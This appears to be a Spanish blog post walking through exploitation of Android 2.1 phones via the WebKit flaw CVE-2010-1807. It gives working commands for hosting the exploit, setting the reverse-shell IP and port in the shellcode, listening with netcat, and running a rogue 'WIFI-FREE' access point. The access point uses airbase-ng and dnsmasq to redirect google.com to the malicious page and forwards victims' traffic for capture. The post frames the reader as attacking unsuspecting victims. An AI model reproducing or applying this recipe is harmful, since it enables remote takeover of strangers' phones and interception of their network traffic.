Recientemente se publicó una vulnerabilidad en WebKit (CVE-2010-1807), utilizado por Safari y Chrome, que también afecta al browser de los móviles con Android.

airbase ng android

La vulnerabilidad fue descubierta por M.J. Keith, quien también publicó un exploit durante una conferencia en Houston, y luego Itzhak Avraham, realizó algunas mejoras sobre el mismo para darle un mayor grado de éxito a la explotación.

Esta vulnerabilidad afecta a móviles Android versión 2.1 e inferiores, si bien la ultima versión 2.2 no esta afectada, no todos los fabricantes de móviles u operadores de telefonía, obligan a sus usuarios a actualizar el software.

Por ejemplo, en mi caso estoy usando un Motorola Milestone con Android 2.1-update1, y si bien la versión 2.2 esta disponible hace ya un buen tiempo, Motorola recién comenzará a realizar upgrades para Milestone en Latinoamérica en el primer trimestre del 2011.

Una vergüenza por parte de fabricantes y operadores!

Explotando Android

Para explotar esta vulnerabilidad, el móvil con Android debería visitar un sitio Web que posea el código malicioso.

Podríamos hacer esto en Internet, o como lo vamos a hacer a continuación, levantar un Access Point falso para darle Internet a personas con móviles, y cuando realicen una solicitud especifica de DNS, redirigirlos a una Web local con el código malicioso.

1. Preparando el Exploit

Bajamos el exploit y lo dejamos en el home de Apache con el nombre «index.html»:

nano /var/www/index.html

/etc/init.d/apache2 start
En las primeras líneas del exploit mejorado por Itzhak podemos encontrar la posibilidad de fácilmente cambiar la dirección IP y el puerto en el shellcode:
var ip = unescape("\ua8c0\u0100"); // ip = 192.168.0.1
var port = unescape("\u3930"); //port 12345 (hex(0x3039))
En este caso, una vez que la explotación sea exitosa, se va a producir una conexión reversa a la IP «192.168.0.1» en el puerto «12345», por lo que deberíamos dejar escuchando Netcat en ese puerto:

nc -l -p 12345 -n -vvv
listening on [any] 12345 ...

2. Preparando el Access Point Falso

Con lo hecho en el paso anterior, ya estaríamos en condición de atacar exitosamente a una víctima si utilizáramos una dirección IP pública en Internet.

Pero la idea a continuación, es levantar un Access Point falso con airodump-ng para que las personas con móviles se asocien a el en busca de Internet gratis, y cuando realicen un pedido DNS especifico lo reenviemos a nuestro Apache con el código malicioso.

Primero vamos a configurar Dnsmasq, quien nos va a proveer el servicio de DNS y de DHCP para nuestro Access Point falso. Si no lo tenemos instalado, lo podemos hacer de la siguiente forma:

apt-get install dnsmasq
/etc/init.d/dnsmasq stop
Luego debemos asegurarnos de configurar en que interfaz de red va a escuchar Dnsmasq, configurar el rango de direcciones IP que entregará a las víctimas, y cual será el dominio que será redireccionado a nuestros Apache con el exploit, en este caso «google.com»:

nano /etc/dnsmasq.conf
interface=at0
dhcp-range=192.168.0.5,192.168.0.20,12h
address=/google.com/192.168.0.1
/etc/init.d/dnsmasq start
Si tenemos Internet, seria una buena idea forwardear todo el trafico para que la víctima crea que esta en una red Wireless común y corriente, y de paso tenemos la posibilidad de capturar algo de trafico:

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
Finalmente levantamos el Access Point falso con airabase-ng, y configuramos la interfaz de red «at0», creada por airbase-ng, con la dirección IP a donde se realizará la conexión reversa:

airbase-ng -C 30 --essid "WIFI-FREE" wlan0  
ifconfig at0 192.168.0.1 netmask 255.255.255.0 up
En este caso, la red se llama «WIFI-FREE», aunque podríamos realizar otra variedad de ataques similares.

3. Atacando a la Víctima

Por mi experiencia con el Motorola Milestone, cuando encendemos la placa Wireless del móvil, hay que detectar las redes en el área, y conectarnos manualmente a la que queremos, mas halla de que este abierta y sin cifrado. Luego de hacer esto, la siguiente vez lo hace automáticamente.

Cuando la víctima esta conectada, el trafico de red pasara normalmente hasta que quiera ingresar a «www.google.com«, en donde será redirigido a nuestro Apache y obtendremos una conexión reversa en el Netcat que dejamos escuchando:

Una vez que recibimos la conexión reversa podemos ejecutar comandos de Android como «/system/bin/id» o «/system/bin/ps» para verificar que efectivamente pudimos acceder al dispositivo.

Info relacionada:
Exploit original por M.J. Keith
Exploit modificado por Itzhak Avraham

Por admin

Deja una respuesta

Ads Blocker Image Powered by Code Help Pro

Ads Blocker Detected!!!

We have detected that you are using extensions to block ads. Please support us by disabling these ads blocker.

Powered By
Best Wordpress Adblock Detecting Plugin | CHP Adblock